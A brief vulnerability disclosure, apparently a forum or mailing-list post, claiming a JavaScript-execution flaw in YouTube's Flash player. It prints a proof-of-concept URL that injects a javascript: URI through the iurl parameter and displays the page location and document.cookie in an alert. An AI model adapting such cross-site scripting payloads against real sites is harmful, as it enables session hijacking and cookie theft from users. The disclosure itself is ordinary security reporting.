YouTube.com has a flaw that allows for arbitrary javascript execution.
f13cd7d75067b0ec8bcd4a8f9b7c93954b23f993fd2eeac563f81586602707db
The following URL will cause javascript to execute in the context of youtube
https://www.youtube.com/p.swf?video_id=eVFF98kNg8Q&eurl=&t=&iurl=javascript:alert('Javascript%20executed!\r\n\r\nLocation:
'%2bwindow.location%2b'\r\n\r\nCookie: '%2bdocument.cookie)
Cheers